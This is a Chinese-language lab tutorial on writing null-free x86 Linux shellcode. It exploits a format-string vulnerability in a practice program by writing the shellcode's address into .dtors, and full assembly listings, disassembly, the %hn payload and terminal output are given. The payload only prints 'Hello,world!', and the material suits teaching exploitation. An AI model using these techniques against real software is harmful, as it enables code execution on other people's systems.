Ubuntu环境下初学编写ShellCode


基本流程:

编写汇编shellcode实现
-->nasm first.s ->first (可以用于注入测试的二进制代码)
ndisasm -b32 first(反汇编first,可以用于检查二进制代码中是否有全零字节)
|

\---->(去除全零字节(反向call,32、16、8字节存储器的处理【注意清零】))

重新编写汇编代码 second.s


\----->nasm second.s ->second(可以用于注入测试的二进制代码)【LINUX公社 www.LinuxIDC.com 】
ndisasm -b32 second(反汇编second,可以用于检查二进制代码中是否有全零字节)
(注:)还可以用hexdump和grep快速检查是否存在空字节,用法如下:
hexdump -C second |grep --color=auto 00
=======================================
实验方案:
编写一个helloword的shellcode
去除全零字节
 向fmt(代码见格式化字符串漏洞初学)的.dtors写入该shellcode。
(利用.dtors只需得知.dtors地址:objdump -s -j .dtors ./fmt)
=======================================
补充知识:
后缀名为.s的文件是什么文件,做什么用的?
在Unix或者Linux中是汇编代码
.i  已经过预处理之 C 原始程序  ; 编译、汇编
.ii 已经过预处理之 C++ 原始程序 ; 编译、汇编
.s  组合语言原始程序      ; 汇编
.S  组合语言原始程序      ; 预处理、汇编
.h  预处理文件(标头文件)    ; (不常出现在指令行)
=======================================
exploit@exploit:~ $ more helloworld.asm
section .data
msg db "Hello,world",0x0a

section .text
global_start
_start:

mov eax,4
mov ebx,1
mov ecx,msg
mov edx,14
int 0x80

mov eax,1
mov ebx,0
int 0x80
【可以独立运行的hellowrld程序】
exploit@exploit:~ $ more helloworld1.s
BITS 32
call mark_below
db "Hello,world!",0x0a,0x0d
mark_below:
pop ecx
mov eax,4
mov ebx,1
mov edx,15
int 0x80

mov eax,1
mov ebx,0
int 0x80
【简单的helloworld程序】
exploit@exploit:~ $ ndisasm -b32 helloworld1
00000000 E80E000000 call 0x13
00000005 48 dec eax
00000006 656C gs insb
00000008 6C insb
00000009 6F outsd
0000000A 2C77 sub al,0x77
0000000C 6F outsd
0000000D 726C jc 0x7b
0000000F 64210A and [fs:edx],ecx
00000012 0D59B80400 or eax,0x4b859
00000017 0000 add [eax],al
00000019 BB01000000 mov ebx,0x1
0000001E BA0F000000 mov edx,0xf
00000023 CD80 int 0x80
00000025 B801000000 mov eax,0x1
0000002A BB00000000 mov ebx,0x0
0000002F CD80 int 0x80
【可以看到,一堆的全零字节】
【去除全零字节】
exploit@exploit:~ $ more helloworld2.s
BITS 32

jmp short first
second:
pop ecx
xor eax,eax
mov al,4
xor ebx,ebx
inc ebx
xor edx,edx
mov dl,15
int 0x80

xor eax,eax
inc eax
xor ebx,ebx
int 0x80
first:
call second
db "Hello,world!",0x0a,0x0d
exploit@exploit:~ $ ndisasm -b32 helloworld2
00000000 EB15 jmp short 0x17
00000002 59 pop ecx
00000003 31C0 xor eax,eax
00000005 B004 mov al,0x4
00000007 31DB xor ebx,ebx
00000009 43 inc ebx
0000000A 31D2 xor edx,edx
0000000C B20F mov dl,0xf
0000000E CD80 int 0x80
00000010 31C0 xor eax,eax
00000012 40 inc eax
00000013 31DB xor ebx,ebx
00000015 CD80 int 0x80
00000017 E8E6FFFFFF call 0x2
0000001C 48 dec eax
0000001D 656C gs insb
0000001F 6C insb
00000020 6F outsd
00000021 2C77 sub al,0x77
00000023 6F outsd
00000024 726C jc 0x92
00000026 64210A and [fs:edx],ecx
00000029 0D db 0x0D
【修改完,检测发现全零已经去除】
exploit@exploit:~ $ objdump -s -j .dtors ./fmt

./fmt: file format elf32-i386

Contents of section .dtors:
8049648 ffffffff 00000000 ........
【这是我们要写入的地方】
exploit@exploit:~ $ export SHELLCODE=$(cat helloworld2)
exploit@exploit:~ $ ./getenvaddr SHELLCODE ./fmt
SHELLCODE will be at 0xbffffc23
exploit@exploit:~ $ ./fmt $'\x48\x96\x04\x08'%8\$x
H?049648
@0xbffff67c val=0 0
【我们要做的就是把shellcode地址写入0x08049648+4】
================================
写入策略
0x0804964c           0xfc23 
0x0804964e 0xbfff
================================
exploit@exploit:~ $ gdb -q
(gdb) p 0xbfff-8
$1 = 49143
(gdb) p 0xfc23-0xbfff
$2 = 15396
(gdb) q
exploit@exploit:~ $ ./fmt $'\x4e\x96\x04\x08\x4c\x96\x04\x08'%49143x%8\$hn%15396x%9\$hn
.........
40000a1e
@0xbffff66c val=0 0
Hello,world!

【输出了helloworld!o(∩_∩)o】

  • 1
  • 2
  • 3
  • 4
  • 下一页

相关内容